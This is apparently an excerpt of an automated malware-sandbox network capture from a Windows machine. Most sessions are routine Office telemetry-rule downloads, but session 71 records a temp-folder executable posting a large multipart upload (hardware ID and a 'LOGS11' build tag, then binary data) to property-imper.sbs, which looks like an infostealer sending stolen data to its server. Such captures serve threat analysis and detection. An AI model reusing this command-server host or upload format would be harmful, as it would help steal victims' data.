2024-11-23 17:22:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:31 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:31 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 19a81fd9-501e-0078-66bc-3b06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172231Z-15b8b599d88cn5thhC1TEBqxkn000000030g00000000m2zk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:31 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:31 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:31 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9451fee8-401e-002a-1a14-3dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172231Z-15b8b599d882zv28hC1TEBdchn000000034000000000aq6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:31 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:31 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172231Z-15b8b599d88hd9g7hC1TEBp75c00000003ag000000000245 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:32 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172232Z-174c587ffdftjz9shC1TEBsh980000000360000000001q5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49814	172.67.162.84	443	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:32 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HG56DUG9VHX5IO51Y2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 566166 Host: property-imper.sbs
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: 2d 2d 48 47 35 36 44 55 47 39 56 48 58 35 49 4f 35 31 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 48 47 35 36 44 55 47 39 56 48 58 35 49 4f 35 31 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 47 35 36 44 55 47 39 56 48 58 35 49 4f 35 31 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --HG56DUG9VHX5IO51Y2Content-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--HG56DUG9VHX5IO51Y2Content-Disposition: form-data; name="pid"1--HG56DUG9VHX5IO51Y2Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: 67 bb e4 e3 42 63 36 45 f4 69 2e d6 bc 65 69 0c 01 af 7d 1d 19 d3 21 b1 9b 48 99 a5 f2 f7 fe 05 1b 61 61 df 39 68 9d 63 35 6c f7 c2 3c b8 44 c9 16 22 8d 35 d4 7d 4d 6a e5 8e 99 4c 26 2e cb 44 f9 db b5 24 87 9b 87 85 f6 f1 9d dc 45 15 21 cd 38 38 de 32 d1 18 89 f9 8a 8b 35 25 63 69 02 7c 82 f3 2f e4 18 44 a5 68 38 24 92 86 6e 4f 79 89 22 9b 91 87 9a 03 35 1f f0 f6 6d 9e 28 6f 96 43 98 c5 77 15 4b 7c b6 26 e5 49 8c d0 42 fa 51 80 97 a1 1a f0 e6 d7 77 43 e3 37 66 93 8a 00 b2 c4 2a dc 18 37 52 4d 2f 65 49 a2 be 9f 41 82 af 08 41 ed e7 fd 16 b6 cd 77 44 c3 0d e1 62 46 ca 32 20 50 85 7f 2b ab 43 75 81 79 21 77 04 b0 25 a4 23 2a af cc e1 0f 63 09 40 b4 08 da 90 93 5e d9 8d 57 c7 01 39 4e 17 9f cb c3 af f5 85 d2 ce f5 c6 96 99 65 03 87 cb 32 98 25 b0 96 34 ab 6b Data Ascii: gBc6Ei.ei}!Haa9hc5l<D"5}MjL&.D$E!8825%ci\|/Dh8$nOy"5m(oCwK\|&IBQwC7f7RM/eIAAwDbF2 P+Cuy!w%#c@^W9Ne2%4k
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: 1f 36 ca 87 ad 21 62 ad 4c 9d ea 18 dd 1e 13 1e 24 30 f3 ef f8 a6 58 eb 27 6a ba 27 28 d5 c5 e8 8d e6 58 7f 33 0f 2d 1a f8 df ed d7 09 b3 2f 10 cc a6 7c 89 16 19 12 bb f1 fe cb 6d 42 68 e9 f6 b5 2f 21 5e e8 f1 9a 03 07 14 4b 38 49 3b 88 91 f0 dd 71 e2 60 b8 ad fb 46 5f 40 12 ef 3d cd 8a fb ce 38 4f 19 12 bf b6 7b 57 33 6f ff bd 1c 85 a5 d6 4b fe f3 45 f9 e5 6e 69 81 4d 71 72 ba 4d 9c f1 a7 17 07 23 1f fc 7d 69 22 25 f0 3c 9a fe 4d eb e3 ac b2 f2 46 79 d5 32 73 e4 95 9c 0c e3 f6 e4 29 56 79 be 08 eb c8 ba b7 e8 9b b4 01 87 dc 5d 6b 8d 9f d8 bf e9 43 2d 83 52 a6 4e 79 a7 17 8d 69 6b 2b d1 b7 98 f5 16 95 03 b4 99 db cb 95 9f 38 dc 08 1c aa c0 61 79 c8 bc 6c 34 2f 68 f0 7b 7e 70 17 67 4d 8b d7 3b c7 fe 64 35 90 66 a7 fb 10 62 74 cc df fd 0a 2e 95 b6 7a 0e 94 Data Ascii: 6!bL$0X'j'(X3-/\|mBh/!^K8I;q`F_@=8O{W3oKEniMqrM#}i"%<MFy2s)Vy]kC-RNyik+8ayl4/h{~pgM;d5fbt.z
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: 54 ce a7 47 58 f7 f5 8e 79 79 b3 96 19 24 61 0e 2e f8 57 28 fc e2 1c 8c 0b 1c a6 4d e9 40 f0 4b 0b 1a 91 28 c0 b9 32 bf ad 30 dc 55 19 0e 8f 07 91 ba 17 d0 2e c5 01 9e 4f e0 94 89 34 55 c3 fc ce cf 4e b6 61 d7 77 6b 6b 85 d6 be 78 24 f7 05 60 f1 8e 86 af 04 ac 4f d1 d5 9e f0 e5 b8 e3 60 00 b2 39 ce ec 3a 5e 94 2e 12 eb 0d c5 2a 41 71 00 4b 20 41 72 28 aa 50 02 3c 32 ad cf 14 9d db 69 7f 26 44 04 3c 90 ee a7 f0 c4 7f 8f e1 5e 5b 30 0b 67 8b 94 76 08 10 99 fd a8 d1 5e c5 44 21 17 78 a6 bd b9 76 97 43 47 22 35 57 af 38 65 a9 ac 14 fd 9e 2f 2a a3 2a 0a df e1 56 27 76 1e f7 54 1e cc 3b 72 b8 ec 99 f6 69 ff 8e 7a ec 81 21 d7 c1 6d 37 b2 ae 42 47 bd 5e 44 b5 b5 8b fa 48 68 31 c7 64 7f 29 22 f1 23 1f f1 ea e4 f6 94 ce 2a 9b 11 1b e3 cc 26 88 09 30 97 2d b5 a4 b2 Data Ascii: TGXyy$a.W(M@K(20U.O4UNawkkx$`O`9:^.AqK Ar(P<2i&D<^[0gv^D!xvCG"5W8e/V'vT;riz!m7BG^DHh1d)"#&0-
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: cf 2e 1d a2 cf 68 06 03 3c 58 9c 61 15 c4 97 ed 77 b5 c5 d0 d4 22 b5 fd 48 fb aa 1d c7 c4 a0 ee cf 9e 1c 98 0b 38 8f cb c7 26 ba 61 04 cb 7e 08 db b1 c2 52 e5 fb 4d 81 38 34 7c 47 c4 34 4d 18 3e 29 ed b5 d4 c2 cf 31 14 bd f0 07 4d 1f 07 e0 33 ac 03 a6 4d c6 82 fa e8 8f 1c 13 80 2d 64 04 80 fe 4d 30 ae 3e 31 f6 a7 c2 8d 77 02 a0 77 1f 22 7b 9c a1 c7 c5 5e 93 60 45 0e c3 84 2e 11 20 c8 d0 a1 f9 0f 78 eb 80 5c 81 f1 bf e6 ec d5 40 c7 b9 30 4e 60 c2 4b 96 07 d6 12 22 aa 9e 80 9d 6e 04 c9 0c ba 50 9d d9 37 58 46 ba f5 97 81 31 da fc 4d 50 dc 6d 52 d9 b0 c2 e1 88 33 d5 62 c4 8f 7c 6c c6 78 47 22 56 85 9a 49 4f 2a e2 33 fd b3 2b 0c f5 95 62 e8 cb 8c 96 24 78 fa 14 4f f0 6c 1a 45 05 c5 43 34 a0 ad fd 85 4d e1 9c 34 d4 62 f7 48 8e 4b c9 49 4b f4 78 47 05 42 44 78 Data Ascii: .h<Xaw"H8&a~RM84\|G4M>)1M3M-dM0>1ww"{^`E. x\@0N`K"nP7XF1MPmR3b\|lxG"VIO*3+b$xOlEC4M4bHKIKxGBDx
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: 10 82 98 5f 05 5f 30 df 8d 01 0e 47 2e 03 e6 af 37 a8 02 c1 c2 49 4a 9c c5 54 1d 99 e3 99 76 ab 6c 62 14 15 95 90 d2 ea 3c b6 ba dc 1d d4 ab 0a 92 f6 55 8a 51 14 30 e3 38 16 8e 98 39 b4 59 fb 4b 94 c7 24 fa e4 c9 a2 ea 9d 5d ae f7 cc ce d4 14 39 4a 6b ed 28 bb b9 e1 a1 f9 0d a2 6a 92 92 74 40 ae 0c 5e 2b 0a f5 f0 9d 20 10 c3 14 f2 f1 41 1b 36 4c 47 05 40 cd 78 a3 58 8e a2 f0 a1 7e f4 86 1a cf 9b cf ad 12 c0 06 2f 0a 07 81 72 02 a0 e6 90 3c a6 df df 5e 26 00 44 dd c7 f0 73 c4 0c 18 be 35 17 43 c3 e1 02 c2 a9 f3 00 49 cb 70 de 07 e7 d4 44 d7 54 51 91 33 d5 8c cf 2c 77 dd 7d 2f 36 13 94 85 0f b8 5e 05 16 b6 e1 9a 04 b7 e1 aa f8 92 b5 f7 24 aa 92 fa 70 0e 01 8c 8e 62 5f f6 60 68 3f 43 e3 eb 82 f3 d4 8e e1 c7 6d e1 6f bf 9d e5 42 b6 d6 00 b9 0e 2a 50 52 6a 23 Data Ascii: __0G.7IJTvlb<UQ089YK$]9Jk(jt@^+ A6LG@xX~/r<^&Ds5CIpDTQ3,w}/6^$pb_`h?CmoB*PRj#
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: 8e fa 79 65 e7 1b 25 d3 bc d9 bf 2f 11 75 b0 d0 2a 93 a5 7c 9f 77 1b 5e 84 33 11 54 19 d4 e0 97 1e 79 07 13 24 9a ed 4c f3 cd 1b 40 9b 92 5e 37 7b dc fa 1b c2 d0 d7 e1 b6 6d 9a ee c9 ec 14 95 83 61 0f 0c 2c cd 8d c8 3d dd 9c 31 53 e1 0d 44 f8 9f fe 23 07 af cb ca c1 69 3c d4 a9 bf 79 c0 82 ee e4 52 a1 20 17 1c 1e 3c 49 3c 57 9f b1 91 0f 59 63 01 3e 17 c7 32 05 51 9a 3a 20 1d c3 f3 4a 05 63 9a 31 22 1f 4d c1 63 2e 4a 0f d9 85 5e ec 4d 40 01 4c b3 97 ba d0 99 8e 6d 56 da f5 a6 cd ce 83 0a 54 c5 9a 8d 07 f3 37 f2 72 62 40 eb cf 0c a2 c5 d8 fa ef 4c 75 c5 57 d5 fa b3 ad 85 54 3f a1 ab 92 17 79 f1 8a 8e d2 33 c1 6d e8 23 28 86 05 a6 0b 45 61 e8 61 61 eb 0f b4 25 c5 dd 53 a8 1a 69 ca cb e8 c1 6b d9 46 65 db f2 00 84 4d c7 54 47 bc aa 23 00 d5 a5 56 1e a7 18 dc Data Ascii: ye%/u*\|w^3Ty$L@^7{ma,=1SD#i<yR <I<WYc>2Q: Jc1"Mc.J^M@LmVT7rb@LuWT?y3m#(Eaaa%SikFeMTG#V
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: f1 8b a4 50 b2 c3 36 4e 8b aa 19 b0 ee 1f 08 a5 79 73 23 d6 42 85 41 87 6f e5 9b 83 28 59 3b b8 65 4d e2 52 f9 46 6f ab f8 f2 9b a2 58 a5 d5 76 e2 bb 07 b3 55 fb 70 69 31 6c 1e 97 b1 55 e2 12 56 22 85 a6 a0 f4 4d 9a 77 34 38 d4 08 45 b1 6f 15 21 62 83 26 47 94 24 91 9c eb 79 09 cb cd 36 b7 10 0c db 40 8a 73 db 50 28 c1 51 90 8c 22 27 57 39 47 53 da be 67 bc 91 97 96 9b e5 01 bc 3d 6e 96 6a 74 d9 b1 0d e1 0e 27 01 41 b2 0e 34 a3 d1 31 91 10 58 19 11 a2 b3 db c2 99 37 d6 8c 37 aa 16 c9 c9 2c 9c f1 dd 97 84 4b 50 2f 5a ce d7 6b 6e b8 dd 12 54 6c 0a c8 11 00 a7 33 d1 44 cf be 47 b7 56 52 87 26 f1 9f 46 ef 58 0f 2a 32 fa 85 43 8d ad 7d fb 02 ea 78 d4 c5 7b cf 84 e3 a0 e3 35 81 29 7f 75 c4 99 83 ed 43 bf fd d5 aa 1e 97 e7 ac ac de 37 f3 80 12 1d bc 17 e3 96 e2 Data Ascii: P6Nys#BAo(Y;eMRFoXvUpi1lUV"Mw48Eo!b&G$y6@sP(Q"'W9GSg=njt'A41X77,KP/ZknTl3DGVR&FX*2C}x{5)uC7
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: 93 80 c0 7b a7 f0 10 c3 d1 78 f7 e8 85 6f 5c bb 8d 1c 7e ff d2 46 8f dc 8c 97 67 7a 19 4a 90 9f 1f cf 8e bf 44 c6 c0 db 51 af a6 1d f5 d7 f7 ae 1f 59 d5 db 60 e1 7a c6 a0 15 dc 2a 6e 85 d4 41 27 5d d0 48 9a a1 4c c9 99 d0 4f 03 38 3c d8 87 0f e1 bf 71 dd 46 21 75 61 4c 97 6b bb 1d 81 22 29 84 02 a8 e5 af 3b 64 2f f3 3f 05 66 34 58 28 05 7f 1d 48 dc 29 30 60 30 0a 7d 13 6f 08 5c 57 2e c3 0b 4a fa 56 92 dd 84 45 2f 6d 66 75 4c 5b e9 37 9c a1 49 87 b7 1b 1b 6f e8 6d e4 0a d1 c4 12 e2 3d 29 96 81 3f 78 e7 75 55 b5 8b 30 f5 37 c5 7c ff b4 0f 68 16 c4 70 9e ed 44 cc 94 ee a0 1d 54 53 98 52 43 c9 19 50 cc 17 23 d2 45 d3 2f 69 80 1d 87 2d 3c 09 f2 9f 56 fe 59 50 a1 96 3a 7a 1e 9b d4 4f 2b 72 7f 5b 25 a8 2d 3d fb 15 81 87 64 75 73 4a 21 76 13 67 b7 fc 51 1c 19 26 Data Ascii: {xo\~FgzJDQY`z*nA']HLO8<qF!uaLk");d/?f4X(H)0`0}o\W.JVE/mfuL[7Iom=)?xuU07\|hpDTSRCP#E/i-<VYP:zO+r[%-=dusJ!vgQ&
2024-11-23 17:22:32 UTC	15331	OUT	Data Raw: e6 3e 28 03 53 23 00 9b 98 bf 79 6b ce fa d3 68 ae bf 6a 1a b0 4f 51 ff ac 66 6a 56 f9 1f 09 18 83 81 2f 11 bb 4e c8 78 a8 5f a4 d2 e8 84 0b 0f d9 5b 92 54 c6 5c d8 a1 7e 17 3e cc 19 79 8e ed d1 07 03 a2 3e 27 22 8e 24 34 53 4b 70 4f 08 5c bf f2 06 be 1c 59 3d c6 72 60 e1 99 2a f1 af e8 fc 32 74 7d 36 22 72 f6 1d fe da ff 76 c7 0a 67 3f a0 5e 03 a0 fb 3f f3 75 64 5c cb af bd f5 ea a5 a5 41 7c 7b d1 3c aa 6a 9f 9c 9e 33 62 b8 7b 63 d5 57 b3 03 4b ec f2 e8 3c 71 1e 22 8b 21 53 40 85 cd 6a cc 08 fc c3 9f 61 e3 b2 f5 76 6e 22 35 b5 67 72 84 63 5b 3d 8d 7b b5 21 66 65 88 26 8c 75 de c4 34 1b 66 60 21 af c2 c3 33 2c 61 70 3d e9 24 11 45 75 d0 0b 75 b7 7e 5a 2d 30 35 ff 78 2e 3e 8e 92 bb 49 52 1d b4 eb ef 56 61 b7 8e 92 44 50 20 47 69 cd 06 11 71 98 7d d0 6f cc Data Ascii: >(S#ykhjOQfjV/Nx_[T\~>y>'"$4SKpO\Y=r`*2t}6"rvg?^?ud\A\|{<j3b{cWK<q"!S@javn"5grc[={!fe&u4f`!3,ap=$Euu~Z-05x.>IRVaDP Giq}o
2024-11-23 17:22:40 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4oi8j3ov5eep5i95lcig15jf8n; expires=Wed, 19-Mar-2025 11:09:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KkeKWmrXdn6OukWfRgYsvJKVnvKTaKQtDcOMy6%2Bk6qHALILahAuMCHRMOmLBVubmAW%2BAJgbD%2Br6WfXER78nDA9PL45DcqgT9VuGbROaAgtQCHzNyW26dZuSUeQum8%2Bbih9r8zrQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d78b08768c90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1878&sent=343&recv=515&lost=0&retrans=0&sent_bytes=2844&recv_bytes=568693&delivery_rate=1602634&cwnd=201&unsent_bytes=0&cid=8ee10ef133111f0b&ts=8076&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:33 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:34 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d30a14f9-501e-0029-5748-3dd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172234Z-15b8b599d889gj5whC1TEBfyk00000000330000000008akh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
